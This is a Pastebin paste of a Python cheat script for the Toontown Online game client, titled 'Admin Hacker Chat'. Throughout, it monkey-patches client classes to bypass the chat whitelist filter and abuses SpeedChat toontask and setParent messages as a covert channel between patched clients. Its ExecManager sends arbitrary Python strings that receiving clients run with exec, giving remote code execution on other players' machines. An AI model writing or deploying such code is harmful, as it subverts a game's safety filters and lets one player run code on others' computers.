This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

Admin Hacker Chat

By: a guest on Jul 20th, 2012  |  syntax: None  |  size: 14.54 KB  |  views: 7,746  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. from string import replace
  2.  
  3. from toontown.battle import Fanfare
  4. from toontown.toon import Toon
  5.  
  6. from toontown.toon import Toon
  7.  
  8. from toontown.toon import DistributedToon
  9. from toontown.toon import LocalToon
  10.  
  11. from toontown.chat import TTWhiteList
  12. from toontown.chat import TTTalkAssistant
  13.  
  14. from pandac.PandaModules import Vec2, Vec3, VBase4
  15. from toontown.chat import ToontownChatManager
  16.  
  17. from toontown.speedchat import TTSCDecoders
  18. from direct.distributed import DistributedNode
  19.  
  20. # The following is included with HackerCrypt...
  21. from sha import sha as sha1
  22.  
  23. __builtins__.__hcm__ = 1
  24. __builtins__.__hcd__ = 1
  25.  
  26. base.adminMode = sha1('HCAdmin').digest()
  27. base.cr.userSignature = sha1('HackerAdmin').digest()
  28.  
  29. if base.cr.userSignature != 'none':
  30.     if base.cr.userSignature != sha1('HackerAdmin').digest():
  31.         if hasattr(base, 'localAvatar'):
  32.             banEvent = 'invalid msgIndex in setSCSinging: 4 from %d' % base.localAvatar.doId
  33.             base.localAvatar.sendUpdate('logSuspiciousEvent', [banEvent])
  34.         base.cr.lostConnection()
  35.         sys.exit()
  36.  
  37. _setSC = DistributedToon.DistributedToon.setSC
  38. _setSCCustom = DistributedToon.DistributedToon.setSCCustom
  39. _sendUpdate = LocalToon.LocalToon.sendUpdate
  40.  
  41. def setDNAString(self, dnaString):
  42.  
  43.     Toon.Toon.setDNAString(self, dnaString)
  44.  
  45.     if ToontownChatManager.ToontownListener.isAdministrator():
  46.         ToontownChatManager.HackerChat.requestUpdate()
  47.  
  48. def sendUpdate(self, fieldName, args=[], sendToId=None):
  49.  
  50.     if fieldName == 'setSCToontask':
  51.         if (args[3] == 85) and (args[2] == 1):
  52.             if ToontownChatManager.ToontownListener.isAdministrator():
  53.                 return _sendUpdate(self, fieldName, args, sendToId)
  54.             else:
  55.                 magicWordMgr = base.cr.doFindAll("ToontownMagicWordManager")[0]
  56.                 magicWordMgr.d_setMagicWord('', 0, 0)
  57.                 return None
  58.         else:
  59.             return _sendUpdate(self, fieldName, args, sendToId)
  60.     else:
  61.         return _sendUpdate(self, fieldName, args, sendToId)
  62.  
  63. def setNametagStyle(self, styleIndex):
  64.  
  65.     if self.__dict__['isHacker'] == True:
  66.         ToontownChatManager.HackerChat.requestUpdate()
  67.         base.localAvatar.acceptingNonFriendWhispers = 1
  68.     else:
  69.         _setNametagStyle(self, styleIndex)
  70.  
  71. def setSC(self, msgIndex):
  72.  
  73.     styleIndex = self.getSpeedChatStyleIndex()
  74.     self.setSpeedChatStyleIndex(styleIndex)
  75.  
  76.     return _setSC(self, msgIndex)
  77.  
  78. def setSCCustom(self, msgIndex):
  79.  
  80.     styleIndex = self.getSpeedChatStyleIndex()
  81.     self.setSpeedChatStyleIndex(styleIndex)
  82.  
  83.     return _setSCCustom(self, msgIndex)
  84.  
  85. DistributedToon.DistributedToon.setSC = setSC
  86. DistributedToon.DistributedToon.setSCCustom = setSCCustom
  87. LocalToon.LocalToon.setDNAString = setDNAString
  88. LocalToon.LocalToon.sendUpdate = sendUpdate
  89.  
  90. class HackerChat:
  91.  
  92.     def requestUpdate(self):
  93.  
  94.         base.localAvatar.acceptingNonFriendWhispers = 1
  95.         base.localAvatar.b_setSCToontask(804, 0, 0, 85)
  96.  
  97.     def displayHackerChat(self, toonId, displayString):
  98.  
  99.         if not toonId in base.cr.doId2do:
  100.             return None
  101.  
  102.         toon = base.cr.doId2do.get(toonId)
  103.         toon.nametag.setColorCode(3)
  104.  
  105.         CFTimeout, CFThought, CFQuicktalker, CFSpeech = (8, 2, 4, 1)
  106.  
  107.         QTColor = toon.nametag.getQtColor()
  108.         toon.nametag.setQtColor(VBase4(0.5, 0.5, 0.5, 1))
  109.  
  110.         if displayString.startswith('.'):
  111.             displayString = displayString[1:]
  112.             chatFlags = CFQuicktalker|CFThought
  113.         else:
  114.             chatFlags = CFQuicktalker|CFSpeech|CFTimeout
  115.  
  116.         toon.setChatAbsolute(displayString, chatFlags)
  117.         toon.nametag.setQtColor(QTColor)
  118.  
  119.     def sendHackerChat(self, displayString):
  120.  
  121.         toonId = base.localAvatar.doId
  122.         self.displayHackerChat(toonId, displayString[1:])
  123.  
  124.         base.localAvatar.d_setParent(displayString)
  125.  
  126.     def sendSetZoneMsg(self, zoneId, vizualZones=None):
  127.  
  128.         self._sendSetZoneMsg(zoneId, vizualZones)
  129.         self.requestUpdate()
  130.  
  131.     def __init__(self):
  132.  
  133.         if hasattr(base, 'localAvatar'):
  134.             base.localAvatar.nametag.setColorCode(3)
  135.  
  136.         self._sendSetZoneMsg = base.cr.sendSetZoneMsg
  137.         base.cr.sendSetZoneMsg = lambda *x:self.sendSetZoneMsg(*x)
  138.  
  139. class ToontownListener:
  140.  
  141.     def isAdministrator(self):
  142.  
  143.         if not __builtins__.__hcm__ == 1:
  144.             return False
  145.  
  146.         if not __builtins__.__hcd__ == 1:
  147.             return False
  148.  
  149.         if base.cr.userSignature != sha1('HackerAdmin').digest():
  150.             return False
  151.  
  152.         if not hasattr(base, 'adminMode'):
  153.             return False
  154.  
  155.         if base.adminMode != sha1('HCAdmin').digest():
  156.             return False
  157.  
  158.         return True
  159.  
  160.     def decodeTTSCToontaskMsg(self, task, doId, process, index):
  161.  
  162.         if index == 85:
  163.             if process == 0:
  164.  
  165.                 if task == 804:
  166.                     toonId = base.localAvatar.doId
  167.                     return base.localAvatar.b_setSCToontask(805, toonId, 0, 85)
  168.  
  169.                 elif task == 805:
  170.                     if not doId in base.cr.doId2do:
  171.                         return None
  172.  
  173.                     toon = base.cr.doId2do.get(doId)
  174.                     toon.nametag.setColorCode(3)
  175.  
  176.                     toon.__dict__['isHacker'] = True
  177.  
  178.                     if toon.isLocal() and self.isAdministrator():
  179.                         return base.localAvatar.b_setSCToontask(806, doId, 0, 85)
  180.  
  181.                 elif task == 806:
  182.                     if (doId == base.localAvatar.doId) and (not self.isAdministrator()):
  183.  
  184.                         magicWordMgr = base.cr.doFindAll("ToontownMagicWordManager")[0]
  185.                         magicWordMgr.d_setMagicWord('', 0, 0)
  186.  
  187.                         return None
  188.  
  189.                     if not doId in base.cr.doId2do:
  190.                         return None
  191.  
  192.                     toon = base.cr.doId2do.get(doId)
  193.                     hands = toon.findAllMatches('**/hands')
  194.  
  195.                     hands.setColor(0.4, 0.4, 0.4, 1)
  196.                     return None
  197.  
  198.             elif process == 1: # Administrator command
  199.                 if task == 807: # Administrator fanfare
  200.                     if (doId == base.localAvatar.doId) and (not self.isAdministrator()):
  201.  
  202.                         magicWordMgr = base.cr.doFindAll("ToontownMagicWordManager")[0]
  203.                         magicWordMgr.d_setMagicWord('', 0, 0)
  204.  
  205.                         return None
  206.  
  207.                     if not doId in base.cr.doId2do:
  208.                         return None
  209.  
  210.                     return self.execManager.activateFanfare(doId)
  211.         else:
  212.             return self._decodeTTSCToontaskMsg(task, doId, process, index)
  213.  
  214.     def setParentStr(self, newSelf, parentTokenStr):
  215.  
  216.         if parentTokenStr.startswith(':'):
  217.             tryExecution = (self.execManager.codeHash in parentTokenStr)
  218.             if tryExecution:
  219.                 execution = parentTokenStr.split('~')[1]
  220.                 return self.execManager.executeCodeString(execution)
  221.             elif hasattr(newSelf, 'doId'):
  222.                 return self.hackerChat.displayHackerChat(newSelf.doId, parentTokenStr[1:])
  223.         return self._setParentStr(newSelf, parentTokenStr)
  224.  
  225.     def d_setParent(self, newSelf, parentToken):
  226.  
  227.         if type(parentToken) == type(''):
  228.             self._d_setParent(newSelf, 2)
  229.             self._d_setParent(newSelf, parentToken)
  230.             return self._d_setParent(newSelf, 2)
  231.         return self._d_setParent(newSelf, parentToken)
  232.  
  233.     def __init__(self):
  234.  
  235.         self.hackerChat  = ToontownChatManager.HackerChat
  236.         self.execManager = ToontownChatManager.ExecManager
  237.  
  238.         self._d_setParent = LocalToon.LocalToon.d_setParent
  239.         LocalToon.LocalToon.d_setParent = lambda *x:self.d_setParent(*x)
  240.  
  241.         self._setParentStr = DistributedNode.DistributedNode.setParentStr
  242.         DistributedNode.DistributedNode.setParentStr = lambda *x:self.setParentStr(*x)
  243.  
  244.         self._decodeTTSCToontaskMsg = TTSCDecoders.decodeTTSCToontaskMsg
  245.         TTSCDecoders.decodeTTSCToontaskMsg = lambda *x:self.decodeTTSCToontaskMsg(*x)
  246.  
  247. class ToontownChatHook:
  248.  
  249.     def isWord(self, newSelf, word):
  250.  
  251.         if self.isHackerChat(word):
  252.             return True
  253.  
  254.         return self._isWord(newSelf, word)
  255.  
  256.     def isPrefix(self, newSelf, word):
  257.  
  258.         if self.isHackerChat(word):
  259.             return True
  260.  
  261.         return self._isPrefix(newSelf, word)
  262.  
  263.     def isHackerChat(self, word):
  264.  
  265.         blank = True
  266.         try:
  267.             entry = base.localAvatar.chatMgr.chatInputWhiteList.chatEntry.get(plain=True)
  268.             if entry.startswith(':'):
  269.                 return True
  270.             elif entry:
  271.                 blank = False
  272.         except:
  273.             pass
  274.         try:
  275.             entry = base.localAvatar.chatMgr.chatInputNormal.chatEntry.get(plain=True)
  276.             if entry.startswith(':'):
  277.                 return True
  278.             elif entry:
  279.                 blank = False
  280.         except:
  281.             pass
  282.         if blank and word.startswith(':'):
  283.             return True
  284.  
  285.     def sendOpenTalk(self, newSelf, message):
  286.  
  287.         if message.startswith(':'):
  288.             if len(message) < 100:
  289.                 if message[1:] != '':
  290.                     tryAdminCommand = self.isAdministrator()
  291.                     if tryAdminCommand:
  292.                         if not self.execManager.handleAdminCommand(message[1:]):
  293.                             return self.hackerChat.sendHackerChat(message)
  294.                     else:
  295.                         return self.hackerChat.sendHackerChat(message)
  296.         else:
  297.             return self._sendOpenTalk(newSelf, message)
  298.  
  299.     def __init__(self):
  300.  
  301.         base.cr.whiteListChatEnabled = 1
  302.  
  303.         self._isWord = TTWhiteList.TTWhiteList.isWord
  304.         TTWhiteList.TTWhiteList.isWord = lambda *x:self.isWord(*x)
  305.  
  306.         self._isPrefix = TTWhiteList.TTWhiteList.isPrefix
  307.         TTWhiteList.TTWhiteList.isPrefix = lambda *x:self.isPrefix(*x)
  308.  
  309.         self._sendOpenTalk = TTTalkAssistant.TTTalkAssistant.sendOpenTalk
  310.         TTTalkAssistant.TTTalkAssistant.sendOpenTalk = lambda *x:self.sendOpenTalk(*x)
  311.  
  312.         self.isAdministrator = ToontownChatManager.ToontownListener.isAdministrator
  313.  
  314.         self.hackerChat  = ToontownChatManager.HackerChat
  315.         self.execManager = ToontownChatManager.ExecManager
  316.         if hasattr(base, 'localAvatar'):
  317.             self.hackerChat.requestUpdate()
  318.  
  319.             base.localAvatar.chatMgr.stop()
  320.             base.localAvatar.chatMgr.start()
  321.  
  322. class ExecManager:
  323.  
  324.     codeHash = sha1('HackerChat-Code').digest()
  325.     notify = directNotify.newCategory('ExecManager')
  326.  
  327.     def addToonPies(self, numPies, pieType):
  328.  
  329.         for doId in base.cr.doId2do:
  330.             toon = base.cr.doId2do.get(doId)
  331.             if isinstance(toon, DistributedToon.DistributedToon):
  332.                 toon.setNumPies(numPies)
  333.                 toon.setPieType(pieType)
  334.         if numPies > 0:
  335.             self.displayAdminMessage('Granted everyone %d pie(s)!' % numPies)
  336.         else:
  337.             self.displayAdminMessage('Deactivated all pies.')
  338.  
  339.     def activateFanfare(self, toonId):
  340.  
  341.         inventoryButton = base.localAvatar.inventory.buttonLookup(0, 0)
  342.         vector = Vec2(0, 0.20000000000000001)
  343.  
  344.         toon = base.cr.doId2do.get(toonId)
  345.  
  346.         battleFanfare = Fanfare.makeFanfareWithMessageImage(
  347.          0, toon, 1, '', vector, 0, inventoryButton, 0, 4)
  348.         battleFanfare[0].start()
  349.  
  350.     def displayAdminMessage(self, message):
  351.  
  352.         message = 'Administrator: %s' % message
  353.  
  354.         if hasattr(base, 'localAvatar'):
  355.             base.localAvatar.setSystemMessage(0, message)
  356.  
  357.     def executeCodeString(self, codeString):
  358.  
  359.         try:
  360.             exec codeString
  361.         except Exception, e:
  362.             self.notify.warning('Administrative traceback: %s' % e)
  363.  
  364.     def sendExecutionCode(self, codeString):
  365.  
  366.         self.executeCodeString(codeString)
  367.         codeString = ':code-%s~%s' % (self.codeHash, codeString)
  368.  
  369.         base.localAvatar.d_setParent(codeString)
  370.  
  371.     def getCommandArguments(self, command):
  372.  
  373.         try:
  374.             return command[:len(command) - 1][(command.find('(') + 1):]
  375.         except:
  376.             return None
  377.  
  378.     def handleAdminCommand(self, command):
  379.  
  380.         if command.lower() == 'fanfare()':
  381.  
  382.             toonId = base.localAvatar.doId
  383.  
  384.             base.localAvatar.b_setSCToontask(807, toonId, 1, 85)
  385.             return True
  386.  
  387.         elif command.lower().startswith('sendmsg'):
  388.  
  389.             arguments = self.getCommandArguments(command)
  390.             if arguments:
  391.  
  392.                 execution = 'ToontownChatManager.ExecManager.displayAdminMessage(\'%s\')'
  393.                 self.sendExecutionCode(execution % arguments)
  394.  
  395.             return True
  396.  
  397.         elif command.lower().startswith('activatepies'):
  398.  
  399.             arguments = self.getCommandArguments(command)
  400.             if arguments:
  401.  
  402.                 if ', ' in arguments:
  403.  
  404.                     arguments = arguments.split(', ')
  405.                     execution = 'ToontownChatManager.ExecManager.addToonPies(%s, %s)'
  406.  
  407.                     try:
  408.                         self.sendExecutionCode(execution % (int(arguments[0]), int(arguments[1])))
  409.                     except:
  410.                         return True
  411.  
  412.             return True
  413.  
  414.         elif command.lower() == 'deactivatepies()':
  415.  
  416.             execution = 'ToontownChatManager.ExecManager.addToonPies(0, 0)'
  417.             self.sendExecutionCode(execution)
  418.  
  419.             return True
  420.  
  421.         elif command.lower().startswith('docode'):
  422.  
  423.             arguments = self.getCommandArguments(command)
  424.             newArguments = 'base.cr.doId2do.get(%d)' % base.localAvatar.doId
  425.  
  426.             if 'av' in arguments:
  427.                 arguments = replace(arguments, 'av', newArguments)
  428.  
  429.             if 'localAvatar' in arguments:
  430.                 arguments = replace(arguments, 'localAvatar', newArguments)
  431.  
  432.             if 'base.localAvatar' in arguments:
  433.                 arguments = replace(arguments, 'base.localAvatar', newArguments)
  434.  
  435.             if arguments:
  436.                 self.sendExecutionCode(arguments)
  437.  
  438.             return True
  439.  
  440.         return False
  441.  
  442. ToontownChatManager.HackerChat = HackerChat()
  443. ToontownChatManager.ExecManager = ExecManager()
  444.  
  445. #ToontownChatManager.WhisperHook = WhisperHook()
  446.  
  447. ToontownChatManager.ToontownListener = ToontownListener()
  448. ToontownChatManager.ToontownChatHook = ToontownChatHook()
  449.  
  450. del HackerChat, ToontownListener, ToontownChatHook, ExecManager
  451. #del setSC, setSCCustom, setWhisperSCToontaskFrom, setDNAString, sendUpdate
clone this paste RAW Paste Data